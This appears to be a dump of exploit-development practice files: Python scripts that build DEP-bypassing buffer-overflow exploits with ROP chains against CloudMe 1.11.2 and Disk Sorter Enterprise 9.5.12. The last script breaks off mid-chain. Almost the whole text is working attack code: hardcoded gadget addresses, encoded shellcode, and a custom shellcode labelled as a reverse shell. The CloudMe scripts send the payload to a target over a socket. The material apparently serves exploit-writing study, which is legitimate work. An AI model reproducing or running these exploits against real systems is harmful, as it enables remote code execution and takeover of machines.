 22 | shellcode += b"\xad\xe2\x6a\xe0\x26\x86\xa2\x07\x8e\x2d\x95"
 23 | shellcode += b"\x26\x0f\x1d\xe5\x29\x93\x5c\x3a\x89\xaa\xae"
 24 | shellcode += b"\x4f\xc8\xeb\xd3\xa2\x98\xa4\x98\x11\x0c\xc0"
 25 | shellcode += b"\xd5\xa9\xa7\x9a\xf8\xa9\x54\x6a\xfa\x98\xcb"
 26 | shellcode += b"\xe0\xa5\x3a\xea\x25\xde\x72\xf4\x2a\xdb\xcd"
 27 | shellcode += b"\x8f\x99\x97\xcf\x59\xd0\x58\x63\xa4\xdc\xaa"
 28 | shellcode += b"\x7d\xe1\xdb\x54\x08\x1b\x18\xe8\x0b\xd8\x62"
 29 | shellcode += b"\x36\x99\xfa\xc5\xbd\x39\x26\xf7\x12\xdf\xad"
 30 | shellcode += b"\xfb\xdf\xab\xe9\x1f\xe1\x78\x82\x24\x6a\x7f"
 31 | shellcode += b"\x44\xad\x28\xa4\x40\xf5\xeb\xc5\xd1\x53\x5d"
 32 | shellcode += b"\xf9\x01\x3c\x02\x5f\x4a\xd1\x57\xd2\x11\xbe"
 33 | shellcode += b"\x94\xdf\xa9\x3e\xb3\x68\xda\x0c\x1c\xc3\x74"
 34 | shellcode += b"\x3d\xd5\xcd\x83\x42\xcc\xaa\x1b\xbd\xef\xca"
 35 | shellcode += b"\x32\x7a\xbb\x9a\x2c\xab\xc4\x70\xac\x54\x11"
 36 | shellcode += b"\xec\xa4\xf3\xca\x13\x49\x43\xbb\x93\xe1\x2c"
 37 | shellcode += b"\xd1\x1b\xde\x4d\xda\xf1\x77\xe5\x27\xfa\x47"
 38 | shellcode += b"\xcf\xae\x1c\xcd\x3f\xe7\xb7\x79\x82\xdc\x0f"
 39 | shellcode += b"\x1e\xfd\x36\x38\x88\xb6\x50\xff\xb7\x46\x77"
 40 | shellcode += b"\x57\x2f\xcd\x94\x63\x4e\xd2\xb0\xc3\x07\x45"
 41 | shellcode += b"\x4e\x82\x6a\xf7\x4f\x8f\x1c\x94\xc2\x54\xdc"
 42 | shellcode += b"\xd3\xfe\xc2\x8b\xb4\x31\x1b\x59\x29\x6b\xb5"
 43 | shellcode += b"\x7f\xb0\xed\xfe\x3b\x6f\xce\x01\xc2\xe2\x6a"
 44 | shellcode += b"\x26\xd4\x3a\x72\x62\x80\x92\x25\x3c\x7e\x55"
 45 | shellcode += b"\x9c\x8e\x28\x0f\x73\x59\xbc\xd6\xbf\x5a\xba"
 46 | shellcode += b"\xd6\x95\x2c\x22\x66\x40\x69\x5d\x47\x04\x7d"
 47 | shellcode += b"\x26\xb5\xb4\x82\xfd\x7d\xd4\x60\xd7\x8b\x7d"
 48 | shellcode += b"\x3d\xb2\x31\xe0\xbe\x69\x75\x1d\x3d\x9b\x06"
 49 | shellcode += b"\xda\x5d\xee\x03\xa6\xd9\x03\x7e\xb7\x8f\x23"
 50 | shellcode += b"\x2d\xb8\x85"
 51 | 
 52 | 
 53 | #step 1 - saving esp to eax,edi
 54 | rop = pack("<I",0x68c7f391)  # PUSH ESP # POP EBX # POP ESI # RETN 
 55 | rop += pack('<L',0x41414141) # padding for pop ebp
 56 | rop += pack("<I",0x68bbd10f)  # MOV EAX,EBX # POP EBX # RETN 0x04  
 57 | rop += pack('<L',0x41414141) # padding for pop ebp
 58 | rop += rop_nop # padding for retn 0x04
 59 | rop += rop_nop # padding for retn 0x04
 60 | rop += pack("<I",0x68f37dbb)  # MOV EDI,EAX # RETN    ** [Qt5Core.dll] ** 
 61 | 
 62 | #step 2 - jumping over temaplte
 63 | rop += pack("<I",0x68b402ce)  # ADD ESP,1C # RETN    ** [Qt5Core.dll] **  
 64 | 
 65 | rop += pack("<L", 0x690398A0) # VirutalAlloc Address 
 66 | rop += pack("<L", 0x55555555) # Shellcode Return Address 
 67 | rop += pack("<L", 0x44444444) # # dummy Shellcode Address 
 68 | rop += pack("<L", 0x33333333) # dummy dwSize  
 69 | rop += pack("<L", 0x22222222) # # dummy flAllocationType  
 70 | rop += pack("<L", 0x11111111) # dummy flProtect
 71 | 
 72 | rop += b"\x90"*4 # padding
 73 | # step 3 - patching address virtualprotect
 74 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 75 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 76 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 77 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 78 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 79 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 80 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 81 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 82 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 83 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 84 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 85 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 86 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 87 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 88 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 89 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 90 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 91 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 92 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 93 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 94 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 95 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 96 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 97 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 98 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 99 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
100 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
101 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
102 | rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret;
103 | rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
104 | rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;
105 | rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;
106 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
107 | rop += rop_nop # padding for retn 0x04
108 | rop += rop_nop # padding for retn 0x04
109 | 
110 | # patching return address
111 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
112 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
113 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
114 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
115 | rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
116 | rop += pack('<L', 0x68a8174b)  # XOR EDX,EDX # RETN  
117 | rop += pack('<L', 0x68ae2632)  # POP EDX # RETN   
118 | rop += pack('<L', 0xfffffd90) # -624
119 | rop += pack('<L', 0x68bd5fe4)  # NEG EDX # RETN 0x0C 
120 | rop += rop_nop
121 | rop += rop_nop
122 | rop += rop_nop
123 | rop += rop_nop
124 | rop += pack('<L', 0x68ad91ab)  # add eax, edx; ret;
125 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
126 | rop += rop_nop # padding for retn 0x04
127 | rop += rop_nop # padding for retn 0x04
128 | 
129 | #patching lpaddress
130 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
131 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
132 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
133 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
134 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
135 | rop += rop_nop # padding for retn 0x04
136 | rop += rop_nop # padding for retn 0x04
137 | 
138 | #patching dWsize
139 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
140 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
141 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
142 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
143 | rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
144 | rop += pack('<L', 0x68f21874)  # POP EAX # RETN    **
145 | rop += pack('<L', 0xffffffff)
146 | rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  
147 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
148 | rop += rop_nop # padding for retn 0x04
149 | rop += rop_nop # padding for retn 0x04
150 | 
151 | #patching flAllocationType - 0x1000
152 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
153 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
154 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
155 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
156 | rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
157 | rop += pack('<L', 0x68f21874)  # POP EAX # RETN    **
158 | rop += pack('<L', 0xffffefff)  # -1001
159 | rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  
160 | rop += pack('<L', 0x68ab39b8) # DEC EAX # RETN   
161 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
162 | rop += rop_nop # padding for retn 0x04
163 | rop += rop_nop # padding for retn 0x04
164 | 
165 | #patching flProtect  - 0x40
166 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
167 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
168 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
169 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
170 | rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
171 | rop += pack('<L', 0x68f21874)  # POP EAX # RETN    **
172 | rop += pack('<L', 0xffffffc0)  # -40
173 | rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  
174 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
175 | rop += rop_nop # padding for retn 0x04
176 | rop += rop_nop # padding for retn 0x04
177 | 
178 | #jumping to esp
179 | rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret;
180 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
181 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
182 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
183 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
184 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
185 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
186 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
187 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
188 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
189 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
190 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
191 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
192 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
193 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
194 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
195 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
196 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
197 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
198 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
199 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
200 | rop += pack('<L',0x68aef5d0)  # XCHG EAX,ESP # RETN 
201 | 
202 | print(700 - len(rop))
203 | rop += b"\x90" * (700 - len(rop))
204 | 
205 | 
206 | payload = b"A"*offset
207 | payload += rop_nop
208 | payload += rop
209 | 
210 | print(crash - len(payload))
211 | payload += shellcode
212 | payload += b"C"*(crash - len(payload))
213 | 
214 | with socket.create_connection(target) as sock:
215 | 
216 |     sent = sock.send(payload)
217 |     print(f"sent {sent} bytes")
218 | 


--------------------------------------------------------------------------------
/5.dep_bypass/CloudMe_1.11.2/exploit_wpm.py:
--------------------------------------------------------------------------------
  1 | from struct import pack
  2 | import socket
  3 | 
  4 | #\x00\x0A\x0D
  5 | 
  6 | TARGET_IP = "127.0.0.1"
  7 | TARGET_PORT = 8888
  8 | target = (TARGET_IP, TARGET_PORT)  
  9 | 
 10 | #690398A8 virtual protect (75e75c90)
 11 | #75e90cc0 WPM
 12 | #75e75c90 + 0001b030 = 75e90cc0
 13 | 
 14 | #68ff6d40 rw 
 15 | crash = 2300  # change me
 16 | offset = 1052
 17 | 
 18 | rop_nop = pack("<I",0x68ee5174) # RETN
 19 | 
 20 | #custom rev shell
 21 | shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x5d\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x3f\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x10\xc1\xca\x02\xc1\xca\x02\xc1\xca\x03\xc1\xca\x06\x01\xc2\xeb\xeb\x3b\x54\x24\x24\x75\xd6\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\x68\xd9\x09\xf5\xad\xff\x55\x04\x89\x45\x20\x68\x0c\xba\x2d\xb3\xff\x55\x04\x89\x45\x24\x89\xe0\x66\xb9\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xff\x55\x20\x89\xc6\x31\xc0\x50\x50\x68\xc0\xa8\x72\x9a\x66\xb8\x01\xbb\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x50\x50\x50\x50\x04\x10\x50\x57\x56\xff\x55\x24\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31\xc9\x66\xb9\x80\xff\x66\xf7\xd9\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"
 22 | shellcode += b"\x90" * (500-len(shellcode))
 23 | 
 24 | #step 1 - saving esp to eax,edi
 25 | rop = pack("<I",0x68c7f391)  # PUSH ESP # POP EBX # POP ESI # RETN 
 26 | rop += pack('<L',0x41414141) # padding for pop ebp
 27 | rop += pack("<I",0x68bbd10f)  # MOV EAX,EBX # POP EBX # RETN 0x04  
 28 | rop += pack('<L',0x41414141) # padding for pop ebp
 29 | rop += rop_nop # padding for retn 0x04
 30 | rop += rop_nop # padding for retn 0x04
 31 | rop += pack("<I",0x68f37dbb)  # MOV EDI,EAX # RETN    ** [Qt5Core.dll] ** 
 32 | 
 33 | #step 2 - jumping over temaplte
 34 | rop += pack("<I",0x68b402ce)  # ADD ESP,1C # RETN    ** [Qt5Core.dll] **
 35 | 
 36 | # kernel32!WriteProcessMemory placeholder parameters
 37 | rop += pack('<L', 0x690398A8)    # Pointer to kernel32!WritePrivateProfileStringA (no pointers from IAT directly to kernel32!WriteProcessMemory, so loading pointer to kernel32.dll and compensating later.)
 38 | rop += pack('<L', 0x6d9edc01)    # RX from MODULE no aslr (Qt5Sql)
 39 | rop += pack('<L', 0xFFFFFFFF)    # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
 40 | rop += pack('<L', 0x6d9edc01)    # lpBaseAddress = RX from MODULE no aslr (Qt5Sql)
 41 | rop += pack('<L', 0x11111111)    # lpBuffer = base address of shellcode (dynamically generated)
 42 | rop += pack('<L', 0x22222222)    # nSize = size of shellcode 
 43 | rop += pack('<L', 0x68db0101)    # lpNumberOfBytesWritten = writable location RW in MODULE no aslr
 44 | 
 45 | # step 3 - patching address virtualprotect
 46 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 47 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 48 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 49 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 50 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 51 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 52 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 53 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 54 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 55 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 56 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 57 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 58 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 59 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 60 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 61 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 62 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 63 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 64 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 65 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 66 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 67 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 68 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 69 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 70 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 71 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 72 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 73 | rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
 74 | rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret;
 75 | rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
 76 | rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;
 77 | rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;
 78 | rop += pack('<L', 0x68fd0343)  # POP EDX # RETN 
 79 | rop += pack('<L', 0xfffe4fd0)  # -0001b030
 80 | rop += pack('<L', 0x68bd5fe4)  # NEG EDX # RETN 0x0C    **
 81 | rop += rop_nop
 82 | rop += rop_nop
 83 | rop += rop_nop
 84 | rop += rop_nop 
 85 | rop += pack('<L', 0x68ce3817)  # ADD EAX,EDX # RETN    ** [Qt5Core.dll] **
 86 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
 87 | rop += rop_nop # padding for retn 0x04
 88 | rop += rop_nop # padding for retn 0x04
 89 | 
 90 | 
 91 | # patching lpBuffer 
 92 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
 93 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
 94 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
 95 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
 96 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
 97 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
 98 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
 99 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
100 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
101 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
102 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
103 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
104 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
105 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
106 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
107 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
108 | rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
109 | rop += pack('<L', 0x68a8174b)  # XOR EDX,EDX # RETN  
110 | rop += pack('<L', 0x68ae2632)  # POP EDX # RETN   
111 | rop += pack('<L', 0xfffffd80) # -640
112 | rop += pack('<L', 0x68bd5fe4)  # NEG EDX # RETN 0x0C 
113 | rop += rop_nop
114 | rop += rop_nop
115 | rop += rop_nop
116 | rop += rop_nop
117 | rop += pack('<L', 0x68ad91ab)  # add eax, edx; ret;
118 | rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
119 | rop += rop_nop # padding for retn 0x04
120 | rop += rop_nop # padding for retn 0x04
121 | 
122 | #patching size 0n512
123 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
124 | rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
125 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
126 | rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
127 | rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
128 | rop += pack('<L', 0x68a8174b)  # XOR EDX,EDX # RETN  
129 | rop += pack('<L', 0x68ae2632)  # POP EDX # RETN   
130 | rop += pack('<L', 0xfffffdff) # -513
131 | rop += pack('<L', 0x68bd5fe4)  # NEG EDX # RETN 0x0C 
132 | rop += rop_nop
133 | rop += rop_nop
134 | rop += rop_nop
135 | rop += rop_nop
136 | rop += pack('<L', 0x68b0ae38)  # mov dword ptr [ecx], edx; ret; 
137 | 
138 | #jumping to esp
139 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
140 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
141 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
142 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
143 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
144 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
145 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
146 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
147 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
148 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
149 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
150 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
151 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
152 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
153 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
154 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
155 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
156 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
157 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
158 | rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
159 | rop += pack('<L',0x68aef5d0)  # XCHG EAX,ESP # RETN 
160 | 
161 | print((700 - len(rop)))
162 | rop += b"\x90" * (700 - len(rop))
163 | 
164 | payload = b"A"*offset
165 | payload += rop_nop
166 | payload += rop
167 | payload += shellcode
168 | print(crash - len(payload))
169 | payload += b"C"*(crash - len(payload))
170 | 
171 | with socket.create_connection(target) as sock:
172 | 
173 |     sent = sock.send(payload)
174 |     print(f"sent {sent} bytes")
175 | 


--------------------------------------------------------------------------------
/5.dep_bypass/Disk_Sorter_Enterprise_9.5.12/exploit_virtualalloc.py:
--------------------------------------------------------------------------------
  1 | import os,struct
  2 | 
  3 | offset = 1536
  4 | total = 5000  # change me
  5 | 
  6 | shellcode =  b""
  7 | shellcode += b"\xba\x80\xf9\x51\x24\xda\xc9\xd9\x74\x24\xf4"
  8 | shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
  9 | shellcode += b"\x03\xd6\xf7\xb3\xd1\x2a\xef\xb6\x1a\xd2\xf0"
 10 | shellcode += b"\xd6\x93\x37\xc1\xd6\xc0\x3c\x72\xe7\x83\x10"
 11 | shellcode += b"\x7f\x8c\xc6\x80\xf4\xe0\xce\xa7\xbd\x4f\x29"
 12 | shellcode += b"\x86\x3e\xe3\x09\x89\xbc\xfe\x5d\x69\xfc\x30"
 13 | shellcode += b"\x90\x68\x39\x2c\x59\x38\x92\x3a\xcc\xac\x97"
 14 | shellcode += b"\x77\xcd\x47\xeb\x96\x55\xb4\xbc\x99\x74\x6b"
 15 | shellcode += b"\xb6\xc3\x56\x8a\x1b\x78\xdf\x94\x78\x45\xa9"
 16 | shellcode += b"\x2f\x4a\x31\x28\xf9\x82\xba\x87\xc4\x2a\x49"
 17 | shellcode += b"\xd9\x01\x8c\xb2\xac\x7b\xee\x4f\xb7\xb8\x8c"
 18 | shellcode += b"\x8b\x32\x5a\x36\x5f\xe4\x86\xc6\x8c\x73\x4d"
 19 | shellcode += b"\xc4\x79\xf7\x09\xc9\x7c\xd4\x22\xf5\xf5\xdb"
 20 | shellcode += b"\xe4\x7f\x4d\xf8\x20\xdb\x15\x61\x71\x81\xf8"
 21 | shellcode += b"\x9e\x61\x6a\xa4\x3a\xea\x87\xb1\x36\xb1\xcf"
 22 | shellcode += b"\x76\x7b\x49\x10\x11\x0c\x3a\x22\xbe\xa6\xd4"
 23 | shellcode += b"\x0e\x37\x61\x23\x70\x62\xd5\xbb\x8f\x8d\x26"
 24 | shellcode += b"\x92\x4b\xd9\x76\x8c\x7a\x62\x1d\x4c\x82\xb7"
 25 | shellcode += b"\xb2\x1c\x2c\x68\x73\xcc\x8c\xd8\x1b\x06\x03"
 26 | shellcode += b"\x06\x3b\x29\xc9\x2f\xd6\xd0\x9a\x8f\x8f\xa8"
 27 | shellcode += b"\xc0\x78\xd2\x4c\xc5\x41\x5b\xaa\x4f\xa2\x0d"
 28 | shellcode += b"\x65\xf8\x5b\x14\xfd\x99\xa4\x82\x78\x99\x2f"
 29 | shellcode += b"\x21\x7d\x54\xd8\x4c\x6d\x01\x28\x1b\xcf\x84"
 30 | shellcode += b"\x37\xb1\x67\x4a\xa5\x5e\x77\x05\xd6\xc8\x20"
 31 | shellcode += b"\x42\x28\x01\xa4\x7e\x13\xbb\xda\x82\xc5\x84"
 32 | shellcode += b"\x5e\x59\x36\x0a\x5f\x2c\x02\x28\x4f\xe8\x8b"
 33 | shellcode += b"\x74\x3b\xa4\xdd\x22\x95\x02\xb4\x84\x4f\xdd"
 34 | shellcode += b"\x6b\x4f\x07\x98\x47\x50\x51\xa5\x8d\x26\xbd"
 35 | shellcode += b"\x14\x78\x7f\xc2\x99\xec\x77\xbb\xc7\x8c\x78"
 36 | shellcode += b"\x16\x4c\xb2\x89\xaa\x59\x23\x30\x5f\x20\x29"
 37 | shellcode += b"\xc3\x8a\x67\x54\x40\x3e\x18\xa3\x58\x4b\x1d"
 38 | shellcode += b"\xef\xde\xa0\x6f\x60\x8b\xc6\xdc\x81\x9e"
 39 | shellcode += b"\x90" * (500 - len(shellcode))
 40 | #\x00\x27
 41 | 
 42 | #6528119C - virtualAllocexStub
 43 | rop_nop = struct.pack("<I",0x65010129)
 44 | 
 45 | rop = struct.pack("<I",0x650e0cc8)  # push esp; pop esi; ret 4; 
 46 | rop += rop_nop
 47 | rop += rop_nop
 48 | rop += struct.pack("<I",0x65010fe3)  # mov eax, esi; pop esi; ret;
 49 | rop += struct.pack("<I",0x41414141)  # padding for pop esi
 50 | 
 51 | rop += struct.pack("<I",0x6505c1cb)  # add esp, 0x1c; ret; 
 52 | 
 53 | rop += struct.pack("<L", 0x6528119C) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
 54 | rop += struct.pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
 55 | rop += struct.pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
 56 | rop += struct.pack("<L", 0x33333333) # dummy dwSize  - 0x1
 57 | rop += struct.pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
 58 | rop += struct.pack("<L", 0x11111111) # dummy flProtect - 0x40
 59 | 
 60 | rop += b"\x90" * 4 # padding
 61 | 
 62 | #1st step, patching VirtualAlloc
 63 | rop += struct.pack("<L", 0x6508cc4e)  # add eax, 0x10; ret;
 64 | rop += struct.pack("<L", 0x65012c97)  # inc eax; ret; 
